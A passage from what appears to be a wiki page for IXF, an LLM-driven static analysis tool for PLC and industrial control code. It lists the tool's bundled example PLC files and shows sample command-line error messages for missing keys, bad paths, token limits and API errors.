 # Run analysis
 result = await llm.complete(prompt)
 return result
# Usage
if __name__ == "__main__":
 result = asyncio.run(run_sast_analysis("/opt/plc_projects/water_treatment.st"))
 print(result)

Example Files Included in IXF

IXF ships with 17 example PLC source files in .tmp/sast_results/ and referenced in the distribution. These are for testing SAST functionality:

File Description Process Type
water_treatment.st Municipal water treatment plant Water/wastewater
water_treatment_chemical_dosing.st Chemical dosing subsystem Water/wastewater
gas_pipeline_pressure_control.st Natural gas pipeline SCADA Oil & gas
oil_refinery_process.st Crude oil distillation unit Oil & gas
power_grid_substation.st Power substation protection relay Electric utility
wind_farm_scada.st Wind turbine farm control Renewable energy
nuclear_reactor_cooling.st Reactor coolant system Nuclear (simulation only)
GRFICSv3_655326.st GRFICSv3 chemical process simulation Chemical
GRFICSv3_690525.st GRFICSv3 variant (normal operation) Chemical
GRFICSv3_attack.st GRFICSv3 with attack scenario embedded Chemical
GRFICSv3_blank.st GRFICSv3 template (minimal logic) Chemical
GRFICSv3_chemical.st GRFICSv3 chemical batch process Chemical
GRFICSv3_simplified_te.st GRFICSv3 Tennessee Eastman simplified Chemical
compressor_control.il Gas compressor IL program Industrial
building_automation.fbd HVAC and building control Building automation
robot_cell_ladder.ld Robotic cell PLC ladder Manufacturing
substation_protection.cfc CFC protection relay logic Electric utility

Error Handling

API Key Missing

ixf > sast /opt/plc.st
[-] No LLM provider configured.
[i] Option 1: Set environment variable:
 export GOOGLE_AI_STUDIO_API_KEY=AIzaSy...
[i] Option 2: Use llm-key command:
 ixf > llm-key gemini AIzaSy...
[i] Available providers: openai, anthropic, gemini, deepseek, grok

File Not Found

ixf > sast /nonexistent/path.st
[-] File not found: /nonexistent/path.st
[i] Check the path and try again.
[i] For a directory: sast /path/to/project/
[i] For a file: sast /path/to/program.st

Code Truncation Warning

ixf > sast /large_project/ --mode sast
[*] Target: /large_project/ (47 files, 12,450 lines)
[*] Token count: 187K tokens
[!] Code size exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Last 7 files excluded from analysis.
[!] Excluded files:
 - /large_project/subsystem_g.st (12K tokens)
 - /large_project/subsystem_h.st (8K tokens)
 - ...
[i] For complete analysis:
 - Analyze subdirectories separately
 - Switch to gemini (1M token limit): llm-key gemini AIzaSy...
 - Or analyze most critical files individually
[*] Continuing with available 128K tokens...

LLM API Error

ixf > sast /opt/plc.st
[*] Sending to LLM...
[-] LLM API error (gemini): 429 Too Many Requests — quota exceeded
[i] Wait and retry, or switch to a different provider:
 ixf > llm-key openai sk-...
[i] Or use the GOOGLE_AI_STUDIO_API_KEY for free tier (with limits)

Unsupported File Extension

ixf > sast /opt/firmware.exe
[!] Unknown file extension: .exe
[i] Supported: .st, .fbd, .ladder, .il, .sfc, .cfc, .xml, .aml, .py, .c, .cpp, .go, .js, .rb, .pl, .java
[i] Tip: Use --mode reverse for binary firmware files
[*] Attempting best-effort analysis...

Previous: MITRE ATT&CK for ICS | Next: Protocols & Vendors

Clone this wiki locally

AltStyle によって変換されたページ (->オリジナル) /